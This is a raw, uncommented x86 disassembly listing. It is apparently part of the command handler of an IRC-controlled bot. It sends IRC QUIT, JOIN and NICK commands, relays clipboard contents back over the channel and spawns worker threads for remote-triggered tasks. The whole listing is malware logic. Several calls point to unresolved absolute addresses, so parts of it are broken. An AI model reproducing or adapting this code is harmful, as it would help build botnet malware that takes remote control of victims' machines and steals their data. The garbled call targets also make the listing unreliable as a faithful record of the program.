loc_413B32:				; CODE XREF: sub_40EE72+1A6Cj
					; sub_40EE72+1A83j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_40F239
		push	edi
		call	sub_41781F
		mov	esi, 1F4h
		pop	ecx
		cmp	eax, esi
		jge	loc_40F239
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 260086Bh
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	dword_43F700
		push	[ebp+var_10]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450D4[eax]
		nop
		call	near ptr 27D09C8h
		push	edi
		call	sub_41781F
		imul	eax, 234h
		push	edi
		mov	dword_4450D4[eax], ebx
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_444EC0[eax], bl
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_413BDB:				; CODE XREF: sub_40EE72+1A3Ej
					; sub_40EE72+1A55j
		push	edi
		push	offset aAll	; "all"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413C19
		call	sub_416F23
		cmp	eax, ebx
		jle	short loc_413C0F
		push	eax
		push	offset dword_435E50


loc_413BFB:				; CODE XREF: sub_40EE72+15E2j
					; sub_40EE72+2A8Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE


loc_413C07:				; CODE XREF: sub_40EE72+3CA4j
		add	esp, 0Ch
		jmp	loc_41460A
; ---------------------------------------------------------------------------


loc_413C0F:				; CODE XREF: sub_40EE72+4D81j
		push	offset dword_435E18
		jmp	loc_4145FC
; ---------------------------------------------------------------------------


loc_413C19:				; CODE XREF: sub_40EE72+4D78j
		mov	eax, [ebp+var_C0]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40F239
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax


loc_413C35:				; CODE XREF: sub_40EE72+4E34j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40F239
		push	esi
		call	sub_41781F
		push	eax
		call	sub_416E95
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_413C5C
		push	offset dword_435DE4
		jmp	short loc_413C61
; ---------------------------------------------------------------------------


loc_413C5C:				; CODE XREF: sub_40EE72+4DE1j
		push	offset dword_435DA8


loc_413C61:				; CODE XREF: sub_40EE72+4DE8j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_413C91
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_413C91:				; CODE XREF: sub_40EE72+4E01j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_413C35
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_413CAD:				; CODE XREF: sub_40EE72+1A10j
					; sub_40EE72+1A27j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F45
		push	esi
		push	offset dword_428598
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_435D80
		jmp	loc_414F3E
; ---------------------------------------------------------------------------


loc_413CE7:				; CODE XREF: sub_40EE72+19E2j
					; sub_40EE72+19F9j
		push	edi
		push	offset dword_436714
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_435D50
		jmp	loc_414F3E
; ---------------------------------------------------------------------------


loc_413D03:				; CODE XREF: sub_40EE72+19B4j
					; sub_40EE72+19CBj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	edi
		push	offset dword_435D20
		jmp	loc_414F3E
; ---------------------------------------------------------------------------


loc_413D26:				; CODE XREF: sub_40EE72+1986j
					; sub_40EE72+199Dj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_435CEC
		jmp	loc_414F3E
; ---------------------------------------------------------------------------


loc_413D42:				; CODE XREF: sub_40EE72+194Bj
					; sub_40EE72+1960j
		mov	al, byte_42F5F2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_42F5F2
		jz	loc_40F239
		mov	ecx, edx


loc_413D59:				; CODE XREF: sub_40EE72+4EEFj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_413D59
		cmp	al, bl
		jz	loc_40F239
		mov	[ebp+arg_18], edx


loc_413D6E:				; CODE XREF: sub_40EE72+51BAj
		push	8
		call	sub_416FA2
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 258h
		jle	short loc_413DBD
		push	ecx
		lea	eax, [ebp+var_2DC]
		push	offset unk_437028
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414023
; ---------------------------------------------------------------------------


loc_413DBD:				; CODE XREF: sub_40EE72+4F16j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+var_318], 64h
		mov	[ebp+var_32C], 7
		mov	[ebp+var_328], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_413E2E
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_42ACB0
		lea	esi, [eax-0Ah]


loc_413DF8:				; CODE XREF: sub_40EE72+4F9Ej
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E14
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_413DF8
		jmp	short loc_413E2E
; ---------------------------------------------------------------------------


loc_413E14:				; CODE XREF: sub_40EE72+4F94j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx


loc_413E2E:				; CODE XREF: sub_40EE72+4F79j
					; sub_40EE72+4FA0j
		cmp	[ebp+var_330], ebx
		jz	loc_414037
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43F60C
		mov	al, [ebp+var_9C7]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_413ED0


loc_413EAE:				; CODE XREF: sub_40EE72+505Cj
		cmp	eax, ebx
		jz	short loc_413ED0
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_413EAE


loc_413ED0:				; CODE XREF: sub_40EE72+503Aj
					; sub_40EE72+503Ej
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_8]
		mov	edi, 80h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		mov	[ebp+var_304], 1
		mov	[ebp+var_30C], esi
		call	sub_41782A
		push	offset byte_43C80C
		push	offset aF	; "#f"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_413F3A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_413F40
; ---------------------------------------------------------------------------


loc_413F3A:				; CODE XREF: sub_40EE72+50AFj
		mov	[ebp+var_3B4], bl


loc_413F40:				; CODE XREF: sub_40EE72+50C6j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_413F52
		mov	eax, offset aSequential	; "Sequential"


loc_413F52:				; CODE XREF: sub_40EE72+50D9j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_435C74
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5A
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_413FDC


loc_413FCA:				; CODE XREF: sub_40EE72+5168j
		cmp	[ebp+var_300], ebx
		jnz	short loc_413FF7
		push	32h
		call	near ptr 260086Bh
		nop
		jmp	short loc_413FCA
; ---------------------------------------------------------------------------


loc_413FDC:				; CODE XREF: sub_40EE72+5156j
		nop
		call	near ptr 2640A83h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436F18
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_413FF7:				; CODE XREF: sub_40EE72+515Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_414016
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_414016:				; CODE XREF: sub_40EE72+5188j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_414023:				; CODE XREF: sub_40EE72+4F46j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_413D6E
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_414037:				; CODE XREF: sub_40EE72+3108j
					; sub_40EE72+4FC2j
		push	offset unk_435C30
		jmp	loc_4145FC
; ---------------------------------------------------------------------------


loc_414041:				; CODE XREF: sub_40EE72+1921j
					; sub_40EE72+1936j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	offset unk_435BF8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Eh
		push	eax
		call	sub_416D5A
		add	esp, 18h
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A8]
		push	ebx
		push	eax
		push	offset sub_409037
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_24]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4140DA


loc_4140C7:				; CODE XREF: sub_40EE72+5266j
		cmp	[ebp+var_18], ebx
		jnz	loc_414E0F
		push	32h
		call	near ptr 260086Bh
		nop
		jmp	short loc_4140C7
; ---------------------------------------------------------------------------


loc_4140DA:				; CODE XREF: sub_40EE72+5253j
		call	near ptr 2640A83h
		nop
		push	eax
		push	offset unk_435BAC
		jmp	loc_414E00
; ---------------------------------------------------------------------------


loc_4140EB:				; CODE XREF: sub_40EE72+18F7j
					; sub_40EE72+190Cj
		push	4
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_414101
		push	offset unk_435B80
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_414101:				; CODE XREF: sub_40EE72+5283j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_414124
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_414138
; ---------------------------------------------------------------------------


loc_414124:				; CODE XREF: sub_40EE72+5298j
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2650000h
		nop


loc_414138:				; CODE XREF: sub_40EE72+52B0j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_414148
		mov	esi, offset byte_42F678


loc_414148:				; CODE XREF: sub_40EE72+52CFj
		push	esi
		lea	eax, [ebp+var_6F8]
		push	edi
		push	eax
		call	sub_41782A
		mov	eax, dword_42F5AC
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5EC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F0], ebx
		mov	[ebp+var_800], eax
		lea	eax, [ebp+var_5E8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_7FC]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_5EC]
		push	offset unk_42B328
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	4
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_5F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_406C19
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_5F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41421B


loc_414205:				; CODE XREF: sub_40EE72+53A7j
		cmp	[ebp+var_560], ebx
		jnz	loc_410E57
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_414205
; ---------------------------------------------------------------------------


loc_41421B:				; CODE XREF: sub_40EE72+5391j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_435B38
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_41422C:				; CODE XREF: sub_40EE72+18CDj
					; sub_40EE72+18E2j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_41424B
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_41424B
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414250
; ---------------------------------------------------------------------------


loc_41424B:				; CODE XREF: sub_40EE72+53C3j
					; sub_40EE72+53CEj
		mov	eax, dword_42F5B0


loc_414250:				; CODE XREF: sub_40EE72+53D7j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9C4], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_568], eax
		jz	short loc_414283
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	short loc_4142AE
; ---------------------------------------------------------------------------


loc_414283:				; CODE XREF: sub_40EE72+53FEj
		lea	eax, [ebp+var_3FC]
		push	104h
		push	eax
		nop
		call	near ptr 260090Eh
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4192B8
		add	esp, 14h


loc_4142AE:				; CODE XREF: sub_40EE72+540Fj
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		cmp	[ebp+eax+var_681], 5Ch
		pop	ecx
		jnz	short loc_4142D9
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_681], bl


loc_4142D9:				; CODE XREF: sub_40EE72+5451j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_908]
		mov	[ebp+var_90C], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_680]
		mov	[ebp+var_570], edi
		push	eax
		push	[ebp+var_57C]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B20C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	3
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_90C]
		push	ebx
		push	eax
		push	offset sub_405AF2
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414391


loc_41437B:				; CODE XREF: sub_40EE72+551Dj
		cmp	[ebp+var_560], ebx
		jnz	loc_4144E3
		push	32h
		call	near ptr 260086Bh
		nop
		jmp	short loc_41437B
; ---------------------------------------------------------------------------


loc_414391:				; CODE XREF: sub_40EE72+5507j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_435AF0
		jmp	loc_4144D4
; ---------------------------------------------------------------------------


loc_4143A2:				; CODE XREF: sub_40EE72+18A3j
					; sub_40EE72+18B8j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4143C1
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_4143C1
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_4143C6
; ---------------------------------------------------------------------------


loc_4143C1:				; CODE XREF: sub_40EE72+5539j
					; sub_40EE72+5544j
		mov	eax, dword_42F5B4


loc_4143C6:				; CODE XREF: sub_40EE72+554Dj
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jnz	short loc_4143DD
		lea	eax, [ebp+var_D8]


loc_4143DD:				; CODE XREF: sub_40EE72+5563j
		push	eax
		lea	eax, [ebp+var_6B8]
		push	40h
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_4143FF
		mov	esi, offset byte_43C80C


loc_4143FF:				; CODE XREF: sub_40EE72+5586j
		push	esi
		lea	eax, [ebp+var_678]
		push	100h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_738]
		push	[ebp+var_8C]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6B8]
		push	eax
		mov	[ebp+var_73C], esi
		push	[ebp+var_578]
		mov	[ebp+var_568], edi
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_435AA4
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	6
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	offset dword_41570C
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4144C8


loc_4144B6:				; CODE XREF: sub_40EE72+5654j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4144E3
		push	32h
		call	near ptr 260086Bh
		nop
		jmp	short loc_4144B6
; ---------------------------------------------------------------------------


loc_4144C8:				; CODE XREF: sub_40EE72+5642j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset dword_435A58


loc_4144D4:				; CODE XREF: sub_40EE72+3625j
					; sub_40EE72+3722j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_4144E3:				; CODE XREF: sub_40EE72+3609j
					; sub_40EE72+3706j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E0F
		push	ebx
		push	edi
		jmp	loc_411D2F
; ---------------------------------------------------------------------------


loc_4144F3:				; CODE XREF: sub_40EE72+1879j
					; sub_40EE72+188Ej
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414506
		push	esi
		call	sub_41781F
		jmp	short loc_41450D
; ---------------------------------------------------------------------------


loc_414506:				; CODE XREF: sub_40EE72+568Aj
		push	8
		call	sub_416FC1


loc_41450D:				; CODE XREF: sub_40EE72+5692j
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F45
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4071DB


loc_414528:				; CODE XREF: sub_40EE72+5B65j
		add	esp, 10h
		jmp	loc_414F45
; ---------------------------------------------------------------------------


loc_414530:				; CODE XREF: sub_40EE72+184Fj
					; sub_40EE72+1864j
		mov	eax, dword_43F590
		cmp	eax, ebx
		jz	short loc_41454D
		call	eax
		test	eax, eax
		jz	short loc_414546
		push	offset unk_435A24
		jmp	short loc_414562
; ---------------------------------------------------------------------------


loc_414546:				; CODE XREF: sub_40EE72+56CBj
		push	offset unk_4359E8
		jmp	short loc_414562
; ---------------------------------------------------------------------------


loc_41454D:				; CODE XREF: sub_40EE72+56C5j
		push	offset unk_4359AC
		jmp	short loc_414562
; ---------------------------------------------------------------------------


loc_414554:				; CODE XREF: sub_40EE72+1825j
					; sub_40EE72+183Aj
		call	sub_40AE02
		test	eax, eax
		jz	short loc_414578
		push	offset unk_435978


loc_414562:				; CODE XREF: sub_40EE72+4AFCj
					; sub_40EE72+56D2j ...
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_4110BD
; ---------------------------------------------------------------------------


loc_414578:				; CODE XREF: sub_40EE72+56E9j
		push	offset unk_43593C
		jmp	short loc_414562
; ---------------------------------------------------------------------------


loc_41457F:				; CODE XREF: sub_40EE72+17FBj
					; sub_40EE72+1810j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41459E
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_41459E:				; CODE XREF: sub_40EE72+5710j
		push	ebx
		push	[ebp+var_4]
		call	sub_40AABF
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4358FC


loc_4145BB:				; CODE XREF: sub_40EE72+5A07j
					; sub_40EE72+5A39j
		call	sub_40BF6D
		add	esp, 18h
		jmp	loc_414F45
; ---------------------------------------------------------------------------


loc_4145C8:				; CODE XREF: sub_40EE72+171Cj
					; sub_40EE72+1731j
		push	7
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_4145DB
		push	offset dword_4358C4
		jmp	short loc_4145FC
; ---------------------------------------------------------------------------


loc_4145DB:				; CODE XREF: sub_40EE72+5760j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4145F7
		push	offset dword_43588C
		jmp	short loc_4145FC
; ---------------------------------------------------------------------------


loc_4145F7:				; CODE XREF: sub_40EE72+577Cj
		push	offset dword_43585C


loc_4145FC:				; CODE XREF: sub_40EE72+2C51j
					; sub_40EE72+2D87j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_41460A:				; CODE XREF: sub_40EE72+15C6j
					; sub_40EE72+2D61j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E0F
		push	ebx
		push	[ebp+var_4]


loc_414617:				; CODE XREF: sub_40EE72+3961j
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]


loc_414627:				; CODE XREF: sub_40EE72+2ECBj
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414E0F
; ---------------------------------------------------------------------------


loc_414634:				; CODE XREF: sub_40EE72+16F2j
					; sub_40EE72+1707j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A4AC
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_41464D:				; CODE XREF: sub_40EE72+16C8j
					; sub_40EE72+16DDj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D320
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_41466A:				; CODE XREF: sub_40EE72+169Ej
					; sub_40EE72+16B3j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 2600000h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_414693
		push	esi
		call	sub_41781F
		pop	ecx
		mov	edi, eax


loc_414693:				; CODE XREF: sub_40EE72+5816j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4146AC
		cmp	edi, 0FFFFFFFFh
		jnz	loc_414F45


loc_4146AC:				; CODE XREF: sub_40EE72+582Fj
		push	ebx
		call	sub_40B721
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_435834
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_411A5D
; ---------------------------------------------------------------------------


loc_4146EF:				; CODE XREF: sub_40EE72+1674j
					; sub_40EE72+1689j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_408C26
		add	esp, 0Ch
		push	offset unk_435804
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_41470D:				; CODE XREF: sub_40EE72+164Aj
					; sub_40EE72+165Fj
		push	1Fh
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_414736
		cmp	[ebp+var_8], ebx
		jnz	loc_40F239
		push	ebx
		push	[ebp+var_4]
		push	offset unk_4357D0
		push	[ebp+var_8C]
		jmp	loc_40F7A0
; ---------------------------------------------------------------------------


loc_414736:				; CODE XREF: sub_40EE72+58A5j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		mov	[ebp+var_46C], ebx
		jz	short loc_414797
		push	esi
		push	offset aFull	; "full"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414797
		mov	[ebp+var_46C], 1


loc_414797:				; CODE XREF: sub_40EE72+5908j
					; sub_40EE72+5919j
		lea	eax, [ebp+var_2DC]
		push	offset dword_435798
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Fh
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415339
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414805


loc_4147EF:				; CODE XREF: sub_40EE72+5991j
		cmp	[ebp+var_460], ebx
		jnz	loc_414E0F
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_4147EF
; ---------------------------------------------------------------------------


loc_414805:				; CODE XREF: sub_40EE72+597Bj
		call	near ptr 2640A83h
		nop
		push	eax
		push	offset unk_435748
		jmp	loc_414E00
; ---------------------------------------------------------------------------


